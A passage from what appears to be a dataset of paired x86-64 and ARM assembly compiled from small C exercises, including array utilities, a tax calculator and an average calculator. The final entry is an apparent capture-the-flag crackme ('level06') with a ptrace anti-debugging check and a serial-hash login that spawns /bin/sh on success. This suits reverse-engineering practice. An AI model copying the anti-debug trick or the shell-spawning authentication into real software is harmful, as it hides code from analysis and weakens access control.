lea rdi, .LC0[rip]
call puts@PLT
mov edi, 1
call exit@PLT
.L2:
mov edi, 0
call time@PLT
mov edi, eax
call srand@PLT
mov DWORD PTR -28[rbp], 0
jmp .L3
.L4:
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
lea rbx, [rdx+rax]
call rand@PLT
mov DWORD PTR [rbx], eax
add DWORD PTR -28[rbp], 1
.L3:
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -36[rbp]
jl .L4
mov rax, QWORD PTR -24[rbp]
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size randomArrayPrivate, .-randomArrayPrivate
.globl randomArrayShared
.type randomArrayShared, @function
randomArrayShared:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 40
.cfi_offset 3, -24
mov DWORD PTR -36[rbp], edi
mov eax, DWORD PTR -36[rbp]
sal eax, 2
cdqe
mov r9d, 0
mov r8d, -1
mov ecx, 33
mov edx, 3
mov rsi, rax
mov edi, 0
call mmap@PLT
mov QWORD PTR -24[rbp], rax
cmp QWORD PTR -24[rbp], -1
jne .L7
lea rdi, .LC0[rip]
call puts@PLT
mov edi, 1
call exit@PLT
.L7:
mov edi, 0
call time@PLT
mov edi, eax
call srand@PLT
mov DWORD PTR -28[rbp], 0
jmp .L8
.L9:
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
lea rbx, [rdx+rax]
call rand@PLT
mov DWORD PTR [rbx], eax
add DWORD PTR -28[rbp], 1
.L8:
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -36[rbp]
jl .L9
mov rax, QWORD PTR -24[rbp]
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size randomArrayShared, .-randomArrayShared
.globl sortCheck
.type sortCheck, @function
sortCheck:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -4[rbp], 1
jmp .L12
.L15:
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -4[rbp]
cdqe
sal rax, 2
lea rcx, -4[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rcx
mov eax, DWORD PTR [rax]
cmp edx, eax
jge .L13
mov eax, 0
jmp .L14
.L13:
add DWORD PTR -4[rbp], 1
.L12:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -28[rbp]
jl .L15
mov eax, 1
.L14:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size sortCheck, .-sortCheck
.globl swap
.type swap, @function
swap:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -32[rbp], edx
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov edx, DWORD PTR -28[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*4]
mov rdx, QWORD PTR -24[rbp]
add rdx, rcx
mov eax, DWORD PTR [rax]
mov DWORD PTR [rdx], eax
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rdx, rax
mov eax, DWORD PTR -4[rbp]
mov DWORD PTR [rdx], eax
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size swap, .-swap
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "403157.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Error : malloc() for array init.\000"
.text
.align 2
.global randomArrayPrivate
.syntax unified
.arm
.fpu softvfp
.type randomArrayPrivate, %function
randomArrayPrivate:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #20
str r0, [fp, #-24]
ldr r3, [fp, #-24]
lsl r3, r3, #2
mov r0, r3
bl malloc
mov r3, r0
str r3, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #0
bne .L2
ldr r0, .L6
bl puts
mov r0, #1
bl exit
.L2:
mov r0, #0
bl time
mov r3, r0
mov r0, r3
bl srand
mov r3, #0
str r3, [fp, #-20]
b .L3
.L4:
ldr r3, [fp, #-20]
lsl r3, r3, #2
ldr r2, [fp, #-16]
add r4, r2, r3
bl rand
mov r3, r0
str r3, [r4]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L3:
ldr r2, [fp, #-20]
ldr r3, [fp, #-24]
cmp r2, r3
blt .L4
ldr r3, [fp, #-16]
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L7:
.align 2
.L6:
.word .LC0
.size randomArrayPrivate, .-randomArrayPrivate
.align 2
.global randomArrayShared
.syntax unified
.arm
.fpu softvfp
.type randomArrayShared, %function
randomArrayShared:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
str r0, [fp, #-24]
ldr r3, [fp, #-24]
lsl r3, r3, #2
mov r1, r3
mov r3, #0
str r3, [sp, #4]
mvn r3, #0
str r3, [sp]
mov r3, #33
mov r2, #3
mov r0, #0
bl mmap
str r0, [fp, #-16]
ldr r3, [fp, #-16]
cmn r3, #1
bne .L9
ldr r0, .L13
bl puts
mov r0, #1
bl exit
.L9:
mov r0, #0
bl time
mov r3, r0
mov r0, r3
bl srand
mov r3, #0
str r3, [fp, #-20]
b .L10
.L11:
ldr r3, [fp, #-20]
lsl r3, r3, #2
ldr r2, [fp, #-16]
add r4, r2, r3
bl rand
mov r3, r0
str r3, [r4]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L10:
ldr r2, [fp, #-20]
ldr r3, [fp, #-24]
cmp r2, r3
blt .L11
ldr r3, [fp, #-16]
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L14:
.align 2
.L13:
.word .LC0
.size randomArrayShared, .-randomArrayShared
.align 2
.global sortCheck
.syntax unified
.arm
.fpu softvfp
.type sortCheck, %function
sortCheck:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
str r1, [fp, #-20]
mov r3, #1
str r3, [fp, #-8]
b .L16
.L19:
ldr r3, [fp, #-8]
lsl r3, r3, #2
ldr r2, [fp, #-16]
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-8]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r1, [fp, #-16]
add r3, r1, r3
ldr r3, [r3]
cmp r2, r3
bge .L17
mov r3, #0
b .L18
.L17:
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L16:
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
cmp r2, r3
blt .L19
mov r3, #1
.L18:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size sortCheck, .-sortCheck
.align 2
.global swap
.syntax unified
.arm
.fpu softvfp
.type swap, %function
swap:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r3, [fp, #-20]
lsl r3, r3, #2
ldr r2, [fp, #-16]
add r3, r2, r3
ldr r3, [r3]
str r3, [fp, #-8]
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-16]
add r2, r2, r3
ldr r3, [fp, #-20]
lsl r3, r3, #2
ldr r1, [fp, #-16]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-16]
add r3, r2, r3
ldr r2, [fp, #-8]
str r2, [r3]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size swap, .-swap
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "159235.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Enter an amount: "
.LC1:
.string "%f"
.LC3:
.string "With tax added: $%.2f"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rax, -16[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
movss xmm1, DWORD PTR -16[rbp]
movss xmm0, DWORD PTR .LC2[rip]
mulss xmm1, xmm0
movss xmm0, DWORD PTR -16[rbp]
addss xmm0, xmm1
movss DWORD PTR -12[rbp], xmm0
pxor xmm2, xmm2
cvtss2sd xmm2, DWORD PTR -12[rbp]
movq rax, xmm2
movq xmm0, rax
lea rdi, .LC3[rip]
mov eax, 1
call printf@PLT
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 4
.LC2:
.long 1028443341
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "159235.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Enter an amount: \000"
.align 2
.LC1:
.ascii "%f\000"
.global __aeabi_fmul
.global __aeabi_fadd
.global __aeabi_f2d
.align 2
.LC2:
.ascii "With tax added: $%.2f\000"
.align 2
.LC3:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L4+4
bl printf
sub r3, fp, #16
mov r1, r3
ldr r0, .L4+8
bl __isoc99_scanf
ldr r3, [fp, #-16] @ float
ldr r1, .L4+12
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r2, r3
ldr r3, [fp, #-16] @ float
mov r1, r3
mov r0, r2
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-12] @ float
ldr r0, [fp, #-12] @ float
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L4+16
bl printf
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC3
.word .LC0
.word .LC1
.word 1028443341
.word .LC2
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "319067.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "enter number "
.LC1:
.string "%d"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
call puts@PLT
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov DWORD PTR -16[rbp], 0
jmp .L2
.L7:
mov DWORD PTR -12[rbp], 0
jmp .L3
.L6:
mov eax, DWORD PTR -20[rbp]
mov edx, eax
shr edx, 31
add eax, edx
sar eax
cmp DWORD PTR -16[rbp], eax
jne .L4
mov eax, DWORD PTR -20[rbp]
mov edx, eax
shr edx, 31
add eax, edx
sar eax
cmp DWORD PTR -12[rbp], eax
jne .L4
mov edi, 48
call putchar@PLT
jmp .L5
.L4:
mov edi, 49
call putchar@PLT
.L5:
add DWORD PTR -12[rbp], 1
.L3:
cmp DWORD PTR -12[rbp], 4
jle .L6
mov edi, 10
call putchar@PLT
add DWORD PTR -16[rbp], 1
.L2:
cmp DWORD PTR -16[rbp], 4
jle .L7
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L9
call __stack_chk_fail@PLT
.L9:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "319067.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "enter number \000"
.align 2
.LC1:
.ascii "%d\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L10
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L10+4
bl puts
sub r3, fp, #20
mov r1, r3
ldr r0, .L10+8
bl __isoc99_scanf
mov r3, #0
str r3, [fp, #-16]
b .L2
.L7:
mov r3, #0
str r3, [fp, #-12]
b .L3
.L6:
ldr r3, [fp, #-20]
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
mov r2, r3
ldr r3, [fp, #-16]
cmp r3, r2
bne .L4
ldr r3, [fp, #-20]
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
mov r2, r3
ldr r3, [fp, #-12]
cmp r3, r2
bne .L4
mov r0, #48
bl putchar
b .L5
.L4:
mov r0, #49
bl putchar
.L5:
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L3:
ldr r3, [fp, #-12]
cmp r3, #4
ble .L6
mov r0, #10
bl putchar
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L2:
ldr r3, [fp, #-16]
cmp r3, #4
ble .L7
mov r3, #0
ldr r2, .L10
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L9
bl __stack_chk_fail
.L9:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L11:
.align 2
.L10:
.word .LC2
.word .LC0
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "779185.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%lf%lf"
.LC4:
.string "MEDIA = %.5lf\n"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdx, -24[rbp]
lea rax, -32[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
movsd xmm1, QWORD PTR -32[rbp]
movsd xmm0, QWORD PTR .LC1[rip]
mulsd xmm0, xmm1
movsd QWORD PTR -32[rbp], xmm0
movsd xmm1, QWORD PTR -24[rbp]
movsd xmm0, QWORD PTR .LC2[rip]
mulsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
movsd xmm1, QWORD PTR -32[rbp]
movsd xmm0, QWORD PTR -24[rbp]
addsd xmm0, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
divsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
mov rax, QWORD PTR -16[rbp]
movq xmm0, rax
lea rdi, .LC4[rip]
mov eax, 1
call printf@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.align 8
.LC1:
.long 0
.long 1074528256
.align 8
.LC2:
.long 0
.long 1075707904
.align 8
.LC3:
.long 0
.long 1076232192
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "779185.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%lf%lf\000"
.global __aeabi_dmul
.global __aeabi_dadd
.global __aeabi_ddiv
.align 2
.LC1:
.ascii "MEDIA = %.5lf\012\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r2, fp, #28
sub r3, fp, #36
mov r1, r3
ldr r0, .L4+4
bl __isoc99_scanf
sub r1, fp, #36
ldmia r1, {r0-r1}
mov r2, #0
ldr r3, .L4+8
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
sub r1, fp, #28
ldmia r1, {r0-r1}
mov r2, #0
ldr r3, .L4+12
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
sub r1, fp, #36
ldmia r1, {r0-r1}
sub r3, fp, #28
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
mov r2, #0
ldr r3, .L4+16
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r3, fp, #20
ldmia r3, {r2-r3}
ldr r0, .L4+20
bl printf
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC2
.word .LC0
.word 1074528256
.word 1075707904
.word 1076232192
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "649472.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "\n"
.align 8
.LC1:
.string "\033[32m.---------------------------."
.align 8
.LC2:
.string "\033[31m| !! TAMPERING DETECTED !! |"
.align 8
.LC3:
.string "\033[32m'---------------------------'"
.text
.globl auth
.type auth, @function
auth:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov rax, QWORD PTR -24[rbp]
lea rsi, .LC0[rip]
mov rdi, rax
call strcspn@PLT
mov rdx, QWORD PTR -24[rbp]
add rax, rdx
mov BYTE PTR [rax], 0
mov rax, QWORD PTR -24[rbp]
mov esi, 32
mov rdi, rax
call strnlen@PLT
mov DWORD PTR -8[rbp], eax
cmp DWORD PTR -8[rbp], 5
jg .L2
mov eax, 1
jmp .L3
.L2:
mov ecx, 0
mov edx, 1
mov esi, 0
mov edi, 0
mov eax, 0
call ptrace@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], -1
jne .L4
lea rdi, .LC1[rip]
call puts@PLT
lea rdi, .LC2[rip]
call puts@PLT
lea rdi, .LC3[rip]
call puts@PLT
mov eax, 1
jmp .L3
.L4:
mov rax, QWORD PTR -24[rbp]
add rax, 3
movzx eax, BYTE PTR [rax]
movsx eax, al
xor eax, 4919
add eax, 6221293
mov DWORD PTR -12[rbp], eax
mov DWORD PTR -16[rbp], 0
jmp .L5
.L7:
mov eax, DWORD PTR -16[rbp]
movsx rdx, eax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
cmp al, 31
jg .L6
mov eax, 1
jmp .L3
.L6:
mov eax, DWORD PTR -16[rbp]
movsx rdx, eax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
movsx eax, al
xor eax, DWORD PTR -12[rbp]
mov edx, eax
movsx rax, edx
imul rax, rax, 1644744395
shr rax, 32
sar eax, 9
mov ecx, edx
sar ecx, 31
sub eax, ecx
imul ecx, eax, 1337
mov eax, edx
sub eax, ecx
add DWORD PTR -12[rbp], eax
add DWORD PTR -16[rbp], 1
.L5:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -8[rbp]
jl .L7
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -12[rbp]
jne .L8
mov eax, 0
jmp .L3
.L8:
mov eax, 1
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size auth, .-auth
.section .rodata
.align 8
.LC4:
.string "***********************************"
.LC5:
.string "*\t\tlevel06\t\t *"
.LC6:
.string "-> Enter Login: "
.align 8
.LC7:
.string "***** NEW ACCOUNT DETECTED ********"
.LC8:
.string "-> Enter Serial: "
.LC9:
.string "%d"
.LC10:
.string "Authenticated!"
.LC11:
.string "/bin/sh"
.text
.globl main
.type main, @function
main:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC4[rip]
call puts@PLT
lea rdi, .LC5[rip]
call puts@PLT
lea rdi, .LC4[rip]
call puts@PLT
lea rdi, .LC6[rip]
mov eax, 0
call printf@PLT
mov rdx, QWORD PTR stdin[rip]
lea rax, -48[rbp]
mov esi, 32
mov rdi, rax
call fgets@PLT
lea rdi, .LC4[rip]
call puts@PLT
lea rdi, .LC7[rip]
call puts@PLT
lea rdi, .LC4[rip]
call puts@PLT
lea rdi, .LC8[rip]
mov eax, 0
call printf@PLT
lea rax, -52[rbp]
mov rsi, rax
lea rdi, .LC9[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -52[rbp]
lea rax, -48[rbp]
mov esi, edx
mov rdi, rax
call auth
test eax, eax
jne .L10
lea rdi, .LC10[rip]
call puts@PLT
lea rdi, .LC11[rip]
call system@PLT
.L10:
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L12
call __stack_chk_fail@PLT
.L12:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "649472.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "\012\000"
.align 2
.LC1:
.ascii "\033[32m.---------------------------.\000"
.align 2
.LC2:
.ascii "\033[31m| !! TAMPERING DETECTED !! |\000"
.align 2
.LC3:
.ascii "\033[32m'---------------------------'\000"
.text
.align 2
.global auth
.syntax unified
.arm
.fpu softvfp
.type auth, %function
auth:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-24]
str r1, [fp, #-28]
ldr r1, .L9
ldr r0, [fp, #-24]
bl strcspn
mov r2, r0
ldr r3, [fp, #-24]
add r3, r3, r2
mov r2, #0
strb r2, [r3]
mov r1, #32
ldr r0, [fp, #-24]
bl strnlen
mov r3, r0
str r3, [fp, #-12]
ldr r3, [fp, #-12]
cmp r3, #5
bgt .L2
mov r3, #1
b .L3
.L2:
mov r3, #0
mov r2, #1
mov r1, #0
mov r0, #0
bl ptrace
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmn r3, #1
bne .L4
ldr r0, .L9+4
bl puts
ldr r0, .L9+8
bl puts
ldr r0, .L9+12
bl puts
mov r3, #1
b .L3
.L4:
ldr r3, [fp, #-24]
add r3, r3, #3
ldrb r3, [r3] @ zero_extendqisi2
eor r3, r3, #4864
eor r3, r3, #55
ldr r2, .L9+16
add r2, r3, r2
str r2, [fp, #-16]
mov r3, #0
str r3, [fp, #-20]
b .L5
.L7:
ldr r3, [fp, #-20]
ldr r2, [fp, #-24]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #31
bhi .L6
mov r3, #1
b .L3
.L6:
ldr r3, [fp, #-20]
ldr r2, [fp, #-24]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-16]
eor r1, r2, r3
ldr r3, .L9+20
smull r2, r3, r1, r3
asr r2, r3, #9
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #6
sub r3, r3, r2
lsl r2, r3, #3
sub r2, r2, r3
sub r2, r1, r2
ldr r3, [fp, #-16]
add r3, r3, r2
str r3, [fp, #-16]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L5:
ldr r2, [fp, #-20]
ldr r3, [fp, #-12]
cmp r2, r3
blt .L7
ldr r2, [fp, #-28]
ldr r3, [fp, #-16]
cmp r2, r3
bne .L8
mov r3, #0
b .L3
.L8:
mov r3, #1
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L10:
.align 2
.L9:
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word 6221293
.word 1644744395
.size auth, .-auth
.section .rodata
.align 2
.LC4:
.ascii "***********************************\000"
.align 2
.LC5:
.ascii "*\011\011level06\011\011 *\000"
.align 2
.LC6:
.ascii "-> Enter Login: \000"
.align 2
.LC7:
.ascii "***** NEW ACCOUNT DETECTED ********\000"
.align 2
.LC8:
.ascii "-> Enter Serial: \000"
.align 2
.LC9:
